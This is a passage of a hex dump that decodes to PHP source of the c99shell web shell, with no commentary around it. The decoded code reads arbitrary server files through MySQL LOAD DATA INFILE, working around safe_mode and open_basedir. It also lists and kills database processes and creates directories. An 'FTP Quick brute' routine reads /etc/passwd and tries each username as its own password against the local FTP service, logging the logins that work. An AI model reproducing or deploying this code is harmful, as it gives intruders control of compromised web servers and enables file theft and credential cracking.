6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 6C 6F 67 69 6E 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6C 6F 67 69 6E 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 70 61 73 73 77 64 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 61 73 73 77 64 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 73 65 72 76 65 72 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 70 6F 72 74 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 6F 72 74 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 73 71 6C 5F 67 65 74 66 69 6C 65 22 20 73 69 7A 65 3D 22 33 30 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 67 65 74 66 69 6C 65 29 3B 20 3F 3E 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69 74 22 20 76 61 6C 75 65 3D 22 47 65 74 22 3E 3C 2F 66 6F 72 6D 3E 3C 2F 74 64 3E 3C 74 64 20 77 69 64 74 68 3D 22 33 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 74 72 3E 3C 74 64 20 77 69 64 74 68 3D 22 33 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 3E 3C 2F 74 64 3E 3C 74 64 20 77 69 64 74 68 3D 22 33 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 3E 3C 2F 74 64 3E 3C 74 64 20 77 69 64 74 68 3D 22 33 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 3C 3F 70 68 70 20 7D 0A 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 71 6C 5F 61 63 74 29 29 0A 20 20 20 7B 0A 20 20 20 20 65 63 68 6F 20 22 3C 68 72 20 73 69 7A 65 3D 5C 22 31 5C 22 20 6E 6F 73 68 61 64 65 3E 22 3B 0A 20 20 20 20 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 6E 65 77 64 62 22 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 22 3B 0A 20 20 20 20 20 69 66 20 28 28 6D 79 73 71 6C 5F 63 72 65 61 74 65 5F 64 62 20 28 24 73 71 6C 5F 6E 65 77 64 62 29 29 20 61 6E 64 20 28 21 65 6D 70 74 79 28 24 73 71 6C 5F 6E 65 77 64 62 29 29 29 20 7B 65 63 68 6F 20 22 44 42 20 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6E 65 77 64 62 29 2E 22 5C 22 20 68 61 73 20 62 65 65 6E 20 63 72 65 61 74 65 64 20 77 69 74 68 20 73 75 63 63 65 73 73 21 3C 2F 62 3E 3C 62 72 3E 22 3B 7D 0A 20 20 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 43 61 6E 27 74 20 63 72 65 61 74 65 20 44 42 20 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6E 65 77 64 62 29 2E 22 5C 22 2E 3C 62 72 3E 52 65 61 73 6F 6E 3A 3C 2F 62 3E 20 22 2E 6D 79 73 71 6C 5F 73 6D 61 72 74 65 72 72 6F 72 28 29 3B 7D 0A 20 20 20 20 7D 0A 20 20 20 20 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 73 65 72 76 65 72 73 74 61 74 75 73 22 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 22 53 48 4F 57 20 53 54 41 54 55 53 22 2C 20 24 73 71 6C 5F 73 6F 63 6B 29 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 53 65 72 76 65 72 2D 73 74 61 74 75 73 20 76 61 72 69 61 62 6C 65 73 3A 3C 2F 62 3E 3C 62 72 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 54 41 42 4C 45 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 30 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 3D 31 3E 3C 74 64 3E 3C 62 3E 4E 61 6D 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 56 61 6C 75 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 22 3B 0A 20 20 20 20 20 77 68 69 6C 65 20 28 24 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 72 72 61 79 28 24 72 65 73 75 6C 74 2C 20 4D 59 53 51 4C 5F 4E 55 4D 29 29 20 7B 65 63 68 6F 20 22 3C 74 72 3E 3C 74 64 3E 22 2E 24 72 6F 77 5B 30 5D 2E 22 3C 2F 74 64 3E 3C 74 64 3E 22 2E 24 72 6F 77 5B 31 5D 2E 22 3C 2F 74 64 3E 3C 2F 74 72 3E 22 3B 7D 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 61 62 6C 65 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 0A 20 20 20 20 20 6D 79 73 71 6C 5F 66 72 65 65 5F 72 65 73 75 6C 74 28 24 72 65 73 75 6C 74 29 3B 0A 20 20 20 20 7D 0A 20 20 20 20 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 73 65 72 76 65 72 76 61 72 73 22 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 22 53 48 4F 57 20 56 41 52 49 41 42 4C 45 53 22 2C 20 24 73 71 6C 5F 73 6F 63 6B 29 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 53 65 72 76 65 72 20 76 61 72 69 61 62 6C 65 73 3A 3C 2F 62 3E 3C 62 72 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 54 41 42 4C 45 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 30 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 3D 31 3E 3C 74 64 3E 3C 62 3E 4E 61 6D 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 56 61 6C 75 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 22 3B 0A 20 20 20 20 20 77 68 69 6C 65 20 28 24 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 72 72 61 79 28 24 72 65 73 75 6C 74 2C 20 4D 59 53 51 4C 5F 4E 55 4D 29 29 20 7B 65 63 68 6F 20 22 3C 74 72 3E 3C 74 64 3E 22 2E 24 72 6F 77 5B 30 5D 2E 22 3C 2F 74 64 3E 3C 74 64 3E 22 2E 24 72 6F 77 5B 31 5D 2E 22 3C 2F 74 64 3E 3C 2F 74 72 3E 22 3B 7D 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 61 62 6C 65 3E 22 3B 0A 20 20 20 20 20 6D 79 73 71 6C 5F 66 72 65 65 5F 72 65 73 75 6C 74 28 24 72 65 73 75 6C 74 29 3B 0A 20 20 20 20 7D 0A 20 20 20 20 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 70 72 6F 63 65 73 73 65 73 22 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 6B 69 6C 6C 29 29 20 7B 24 71 75 65 72 79 20 3D 20 22 4B 49 4C 4C 20 22 2E 24 6B 69 6C 6C 2E 22 3B 22 3B 20 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 24 71 75 65 72 79 2C 20 24 73 71 6C 5F 73 6F 63 6B 29 3B 20 65 63 68 6F 20 22 3C 62 3E 4B 69 6C 6C 69 6E 67 20 70 72 6F 63 65 73 73 20 23 22 2E 24 6B 69 6C 6C 2E 22 2E 2E 2E 20 6F 6B 2E 20 68 65 20 69 73 20 64 65 61 64 2C 20 61 6D 65 6E 2E 3C 2F 62 3E 22 3B 7D 0A 20 20 20 20 20 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 22 53 48 4F 57 20 50 52 4F 43 45 53 53 4C 49 53 54 22 2C 20 24 73 71 6C 5F 73 6F 63 6B 29 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 50 72 6F 63 65 73 73 65 73 3A 3C 2F 62 3E 3C 62 72 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 54 41 42 4C 45 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 32 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 3D 31 3E 3C 74 64 3E 3C 62 3E 49 44 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 55 53 45 52 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 48 4F 53 54 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 44 42 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 43 4F 4D 4D 41 4E 44 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 54 49 4D 45 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 53 54 41 54 45 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 49 4E 46 4F 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 41 63 74 69 6F 6E 3C 2F 62 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 22 3B 0A 20 20 20 20 20 77 68 69 6C 65 20 28 24 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 72 72 61 79 28 24 72 65 73 75 6C 74 2C 20 4D 59 53 51 4C 5F 4E 55 4D 29 29 20 7B 20 65 63 68 6F 20 22 3C 74 72 3E 3C 74 64 3E 22 2E 24 72 6F 77 5B 30 5D 2E 22 3C 2F 74 64 3E 3C 74 64 3E 22 2E 24 72 6F 77 5B 31 5D 2E 22 3C 2F 74 64 3E 3C 74 64 3E 22 2E 24 72 6F 77 5B 32 5D 2E 22 3C 2F 74 64 3E 3C 74 64 3E 22 2E 24 72 6F 77 5B 33 5D 2E 22 3C 2F 74 64 3E 3C 74 64 3E 22 2E 24 72 6F 77 5B 34 5D 2E 22 3C 2F 74 64 3E 3C 74 64 3E 22 2E 24 72 6F 77 5B 35 5D 2E 22 3C 2F 74 64 3E 3C 74 64 3E 22 2E 24 72 6F 77 5B 36 5D 2E 22 3C 2F 74 64 3E 3C 74 64 3E 22 2E 24 72 6F 77 5B 37 5D 2E 22 3C 2F 74 64 3E 3C 74 64 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 61 63 74 3D 70 72 6F 63 65 73 73 65 73 26 6B 69 6C 6C 3D 22 2E 24 72 6F 77 5B 30 5D 2E 22 5C 22 3E 3C 75 3E 4B 69 6C 6C 3C 2F 75 3E 3C 2F 61 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 22 3B 7D 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 61 62 6C 65 3E 22 3B 0A 20 20 20 20 20 6D 79 73 71 6C 5F 66 72 65 65 5F 72 65 73 75 6C 74 28 24 72 65 73 75 6C 74 29 3B 0A 20 20 20 20 7D 0A 20 20 20 20 69 66 20 28 24 73 71 6C 5F 61 63 74 20 3D 3D 20 22 67 65 74 66 69 6C 65 22 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 74 6D 70 64 62 20 3D 20 24 73 71 6C 5F 6C 6F 67 69 6E 2E 22 5F 74 6D 70 64 62 22 3B 0A 20 20 20 20 20 24 73 65 6C 65 63 74 20 3D 20 6D 79 73 71 6C 5F 73 65 6C 65 63 74 5F 64 62 28 24 74 6D 70 64 62 29 3B 0A 20 20 20 20 20 69 66 20 28 21 24 73 65 6C 65 63 74 29 20 7B 6D 79 73 71 6C 5F 63 72 65 61 74 65 5F 64 62 28 24 74 6D 70 64 62 29 3B 20 24 73 65 6C 65 63 74 20 3D 20 6D 79 73 71 6C 5F 73 65 6C 65 63 74 5F 64 62 28 24 74 6D 70 64 62 29 3B 20 24 63 72 65 61 74 65 64 20 3D 20 21 21 24 73 65 6C 65 63 74 3B 7D 0A 20 20 20 20 20 69 66 20 28 24 73 65 6C 65 63 74 29 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 24 63 72 65 61 74 65 64 20 3D 20 66 61 6C 73 65 3B 0A 20 20 20 20 20 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 22 43 52 45 41 54 45 20 54 41 42 4C 45 20 60 74 6D 70 5F 66 69 6C 65 60 20 28 20 60 56 69 65 77 69 6E 67 20 74 68 65 20 66 69 6C 65 20 69 6E 20 73 61 66 65 5F 6D 6F 64 65 2B 6F 70 65 6E 5F 62 61 73 65 64 69 72 60 20 4C 4F 4E 47 42 4C 4F 42 20 4E 4F 54 20 4E 55 4C 4C 20 29 3B 22 29 3B 0A 20 20 20 20 20 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 22 4C 4F 41 44 20 44 41 54 41 20 49 4E 46 49 4C 45 20 5C 22 22 2E 61 64 64 73 6C 61 73 68 65 73 28 24 73 71 6C 5F 67 65 74 66 69 6C 65 29 2E 22 5C 22 20 49 4E 54 4F 20 54 41 42 4C 45 20 74 6D 70 5F 66 69 6C 65 22 29 3B 0A 20 20 20 20 20 20 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 22 53 45 4C 45 43 54 20 2A 20 46 52 4F 4D 20 74 6D 70 5F 66 69 6C 65 3B 22 29 3B 0A 20 20 20 20 20 20 69 66 20 28 21 24 72 65 73 75 6C 74 29 20 7B 65 63 68 6F 20 22 3C 62 3E 45 72 72 6F 72 20 69 6E 20 72 65 61 64 69 6E 67 20 66 69 6C 65 20 28 70 65 72 6D 69 73 69 6F 6E 20 64 65 6E 69 65 64 29 21 3C 2F 62 3E 22 3B 7D 0A 20 20 20 20 20 20 65 6C 73 65 0A 20 20 20 20 20 20 7B 0A 20 20 20 20 20 20 20 66 6F 72 20 28 24 69 3D 30 3B 24 69 3C 6D 79 73 71 6C 5F 6E 75 6D 5F 66 69 65 6C 64 73 28 24 72 65 73 75 6C 74 29 3B 24 69 2B 2B 29 20 7B 24 6E 61 6D 65 20 3D 20 6D 79 73 71 6C 5F 66 69 65 6C 64 5F 6E 61 6D 65 28 24 72 65 73 75 6C 74 2C 24 69 29 3B 7D 0A 20 20 20 20 20 20 20 24 66 20 3D 20 22 22 3B 0A 20 20 20 20 20 20 20 77 68 69 6C 65 20 28 24 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 72 72 61 79 28 24 72 65 73 75 6C 74 2C 20 4D 59 53 51 4C 5F 41 53 53 4F 43 29 29 20 7B 24 66 20 2E 3D 20 6A 6F 69 6E 20 28 22 5C 72 5C 6E 22 2C 24 72 6F 77 29 3B 7D 0A 20 20 20 20 20 20 20 69 66 20 28 65 6D 70 74 79 28 24 66 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 46 69 6C 65 20 5C 22 22 2E 24 73 71 6C 5F 67 65 74 66 69 6C 65 2E 22 5C 22 20 64 6F 65 73 20 6E 6F 74 20 65 78 69 73 74 73 20 6F 72 20 65 6D 70 74 79 21 3C 2F 62 3E 3C 62 72 3E 22 3B 7D 0A 20 20 20 20 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 62 3E 46 69 6C 65 20 5C 22 22 2E 24 73 71 6C 5F 67 65 74 66 69 6C 65 2E 22 5C 22 3A 3C 2F 62 3E 3C 62 72 3E 22 2E 6E 6C 32 62 72 28 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 66 29 29 2E 22 3C 62 72 3E 22 3B 7D 0A 20 20 20 20 20 20 20 6D 79 73 71 6C 5F 66 72 65 65 5F 72 65 73 75 6C 74 28 24 72 65 73 75 6C 74 29 3B 0A 20 20 20 20 20 20 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 22 44 52 4F 50 20 54 41 42 4C 45 20 74 6D 70 5F 66 69 6C 65 3B 22 29 3B 0A 20 20 20 20 20 20 7D 0A 20 20 20 20 20 7D 0A 20 20 20 20 20 6D 79 73 71 6C 5F 64 72 6F 70 5F 64 62 28 24 74 6D 70 64 62 29 3B 20 2F 2F 63 6F 6D 6D 65 6E 74 20 69 74 20 69 66 20 79 6F 75 20 77 61 6E 74 20 74 6F 20 6C 65 61 76 65 20 64 61 74 61 62 61 73 65 0A 20 20 20 20 7D 0A 20 20 20 7D 0A 20 20 7D 0A 20 7D 0A 20 65 63 68 6F 20 22 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 22 3B 0A 20 69 66 20 28 24 73 71 6C 5F 73 6F 63 6B 29 0A 20 7B 0A 20 20 24 61 66 66 65 63 74 65 64 20 3D 20 40 6D 79 73 71 6C 5F 61 66 66 65 63 74 65 64 5F 72 6F 77 73 28 24 73 71 6C 5F 73 6F 63 6B 29 3B 0A 20 20 69 66 20 28 28 21 69 73 5F 6E 75 6D 65 72 69 63 28 24 61 66 66 65 63 74 65 64 29 29 20 6F 72 20 28 24 61 66 66 65 63 74 65 64 20 3C 20 30 29 29 7B 24 61 66 66 65 63 74 65 64 20 3D 20 30 3B 7D 0A 20 20 65 63 68 6F 20 22 3C 74 72 3E 3C 74 64 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E 41 66 66 65 63 74 65 64 20 72 6F 77 73 3A 20 22 2E 24 61 66 66 65 63 74 65 64 2E 22 3C 2F 63 65 6E 74 65 72 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 22 3B 0A 20 7D 0A 20 65 63 68 6F 20 22 3C 2F 74 61 62 6C 65 3E 22 3B 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 6D 6B 64 69 72 22 29 0A 7B 0A 20 69 66 20 28 24 6D 6B 64 69 72 20 21 3D 20 24 64 29 0A 20 7B 0A 20 20 69 66 20 28 66 69 6C 65 5F 65 78 69 73 74 73 28 24 6D 6B 64 69 72 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 4D 61 6B 65 20 44 69 72 20 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 6D 6B 64 69 72 29 2E 22 5C 22 3C 2F 62 3E 3A 20 6F 62 6A 65 63 74 20 61 6C 72 65 64 79 20 65 78 69 73 74 73 22 3B 7D 0A 20 20 65 6C 73 65 69 66 20 28 21 6D 6B 64 69 72 28 24 6D 6B 64 69 72 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 4D 61 6B 65 20 44 69 72 20 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 6D 6B 64 69 72 29 2E 22 5C 22 3C 2F 62 3E 3A 20 61 63 63 65 73 73 20 64 65 6E 69 65 64 22 3B 7D 0A 20 20 65 63 68 6F 20 22 3C 62 72 3E 3C 62 72 3E 22 3B 0A 20 7D 0A 20 24 61 63 74 20 3D 20 24 64 73 70 61 63 74 20 3D 20 22 6C 73 22 3B 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 66 74 70 71 75 69 63 6B 62 72 75 74 65 22 29 0A 7B 0A 20 65 63 68 6F 20 22 3C 62 3E 46 74 70 20 51 75 69 63 6B 20 62 72 75 74 65 3A 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 69 66 20 28 21 77 69 6E 29 20 7B 65 63 68 6F 20 22 54 68 69 73 20 66 75 6E 63 74 69 6F 6E 73 20 6E 6F 74 20 77 6F 72 6B 20 69 6E 20 57 69 6E 64 6F 77 73 21 3C 62 72 3E 3C 62 72 3E 22 3B 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 66 75 6E 63 74 69 6F 6E 20 63 39 39 66 74 70 62 72 75 74 65 63 68 65 63 6B 28 24 68 6F 73 74 2C 24 70 6F 72 74 2C 24 74 69 6D 65 6F 75 74 2C 24 6C 6F 67 69 6E 2C 24 70 61 73 73 2C 24 73 68 2C 24 66 71 62 5F 6F 6E 6C 79 77 69 74 68 73 68 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 24 66 71 62 5F 6F 6E 6C 79 77 69 74 68 73 68 29 20 7B 24 74 72 75 65 20 3D 20 28 21 69 6E 5F 61 72 72 61 79 28 24 73 68 2C 61 72 72 61 79 28 22 2F 62 69 6E 2F 66 61 6C 73 65 22 2C 22 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 22 29 29 29 3B 7D 0A 20 20 20 65 6C 73 65 20 7B 24 74 72 75 65 20 3D 20 74 72 75 65 3B 7D 0A 20 20 20 69 66 20 28 24 74 72 75 65 29 0A 20 20 20 7B 0A 20 20 20 20 24 73 6F 63 6B 20 3D 20 40 66 74 70 5F 63 6F 6E 6E 65 63 74 28 24 68 6F 73 74 2C 24 70 6F 72 74 2C 24 74 69 6D 65 6F 75 74 29 3B 0A 20 20 20 20 69 66 20 28 40 66 74 70 5F 6C 6F 67 69 6E 28 24 73 6F 63 6B 2C 24 6C 6F 67 69 6E 2C 24 70 61 73 73 29 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 61 20 68 72 65 66 3D 5C 22 66 74 70 3A 2F 2F 22 2E 24 6C 6F 67 69 6E 2E 22 3A 22 2E 24 70 61 73 73 2E 22 40 22 2E 24 68 6F 73 74 2E 22 5C 22 20 74 61 72 67 65 74 3D 5C 22 5F 62 6C 61 6E 6B 5C 22 3E 3C 62 3E 43 6F 6E 6E 65 63 74 65 64 20 74 6F 20 22 2E 24 68 6F 73 74 2E 22 20 77 69 74 68 20 6C 6F 67 69 6E 20 5C 22 22 2E 24 6C 6F 67 69 6E 2E 22 5C 22 20 61 6E 64 20 70 61 73 73 77 6F 72 64 20 5C 22 22 2E 24 70 61 73 73 2E 22 5C 22 3C 2F 62 3E 3C 2F 61 3E 2E 3C 62 72 3E 22 3B 0A 20 20 20 20 20 6F 62 5F 66 6C 75 73 68 28 29 3B 0A 20 20 20 20 20 72 65 74 75 72 6E 20 74 72 75 65 3B 0A 20 20 20 20 7D 0A 20 20 20 7D 0A 20 20 7D 0A 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 75 62 6D 69 74 29 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 21 69 73 5F 6E 75 6D 65 72 69 63 28 24 66 71 62 5F 6C 65 6E 67 68 74 29 29 20 7B 24 66 71 62 5F 6C 65 6E 67 68 74 20 3D 20 24 6E 69 78 70 77 64 70 65 72 70 61 67 65 3B 7D 0A 20 20 20 24 66 70 20 3D 20 66 6F 70 65 6E 28 22 2F 65 74 63 2F 70 61 73 73 77 64 22 2C 22 72 22 29 3B 0A 20 20 20 69 66 20 28 21 24 66 70 29 20 7B 65 63 68 6F 20 22 43 61 6E 27 74 20 67 65 74 20 2F 65 74 63 2F 70 61 73 73 77 64 20 66 6F 72 20 70 61 73 73 77 6F 72 64 2D 6C 69 73 74 2E 22 3B 7D 0A 20 20 20 65 6C 73 65 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 24 66 71 62 5F 6C 6F 67 67 69 6E 67 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 69 66 20 28 24 66 71 62 5F 6C 6F 67 66 69 6C 65 29 20 7B 24 66 71 62 5F 6C 6F 67 66 70 20 3D 20 66 6F 70 65 6E 28 24 66 71 62 5F 6C 6F 67 66 69 6C 65 2C 22 77 22 29 3B 7D 0A 20 20 20 20 20 65 6C 73 65 20 7B 24 66 71 62 5F 6C 6F 67 66 70 20 3D 20 66 61 6C 73 65 3B 7D 0A 20 20 20 20 20 24 66 71 62 5F 6C 6F 67 20 3D 20 22 46 54 50 20 51 75 69 63 6B 20 42 72 75 74 65 20 28 63 61 6C 6C 65 64 20 63 39 39 73 68 65 6C 6C 20 76 2E 20 22 2E 24 73 68 76 65 72 2E 22 29 20 73 74 61 72 74 65 64 20 61 74 20 22 2E 64 61 74 65 28 22 64 2E 6D 2E 59 20 48 3A 69 3A 73 22 29 2E 22 5C 72 5C 6E 5C 72 5C 6E 22 3B 0A 20 20 20 20 20 69 66 20 28 24 66 71 62 5F 6C 6F 67 66 69 6C 65 29 20 7B 66 77 72 69 74 65 28 24 66 71 62 5F 6C 6F 67 66 70 2C 24 66 71 62 5F 6C 6F 67 2C 73 74 72 6C 65 6E 28 24 66 71 62 5F 6C 6F 67 29 29 3B 7D 0A 20 20 20 20 7D 0A 20 20 20 20 6F 62 5F 66 6C 75 73 68 28 29 3B 0A 20 20 20 20 24 69 20 3D 20 24 73 75 63 63 65 73 73 20 3D 20 30 3B 0A 20 20 20 20 24 66 74 70 71 75 69 63 6B 5F 73 74 20 3D 20 67 65 74 6D 69 63 72 6F 74 69 6D 65 28 29 3B 0A 20 20 20 20 77 68 69 6C 65 28 21 66 65 6F 66 28 24 66 70 29 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 73 74 72 20 3D 20 65 78 70 6C 6F 64 65 28 22 3A 22 2C 66 67 65 74 73 28 24 66 70 2C 32 30 34 38 29 29 3B 0A 20 20 20 20 20 69 66 20 28 63 39 39 66 74 70 62 72 75 74 65 63 68 65 63 6B 28 22 6C 6F 63 61 6C 68 6F 73 74 22 2C 32 31 2C 31 2C 24 73 74 72 5B 30 5D 2C 24 73 74 72 5B 30 5D 2C 24 73 74 72 5B 36 5D 2C 24 66 71 62 5F 6F 6E 6C 79 77 69 74 68 73 68 29 29 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 43 6F 6E 6E 65 63 74 65 64 20 74 6F 20 22 2E 67 65 74 65 6E 76 28 22 53 45 52 56 45 52 5F 4E 41 4D 45 22 29 2E 22 20 77 69 74 68 20 6C 6F 67 69 6E 20 5C 22 22 2E 24 73 74 72 5B 30 5D 2E 22 5C 22 20 61 6E 64 20 70 61 73 73 77 6F 72 64 20 5C 22 22 2E 24 73 74 72 5B 30 5D 2E 22 5C 22 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 20 20 24 66 71 62 5F 6C 6F 67 20 2E 3D 20 22 43 6F 6E 6E 65 63 74 65 64 20 74 6F 20 22 2E 67 65 74 65 6E 76 28 22 53 45 52 56 45 52 5F 4E 41 4D 45 22 29 2E 22 20 77 69 74 68 20 6C 6F 67 69 6E 20 5C 22 22 2E 24 73 74 72 5B 30 5D 2E 22 5C 22 20 61 6E 64 20 70 61 73 73 77 6F 72 64 20 5C 22 22 2E 24 73 74 72 5B 30 5D 2E 22 5C 22 2C 20 61 74 20 22 2E 64 61 74 65 28 22 64 2E 6D 2E 59 20 48 3A 69 3A 73 22 29 2E 22 5C 72 5C 6E 22 3B 0A 20 20 20 20 20 20 69 66 20 28 24 66 71 62 5F 6C 6F 67 66 70 29 20 7B 66 73 65 65 6B 28 24 66 71 62 5F 6C 6F 67 66 70 2C 30 29 3B 20 66 77 72 69 74 65 28 24 66 71 62 5F 6C 6F 67 66 70 2C 24 66 71 62 5F 6C 6F 67 2C 73 74 72 6C 65 6E 28 24 66 71 62 5F 6C 6F 67 29 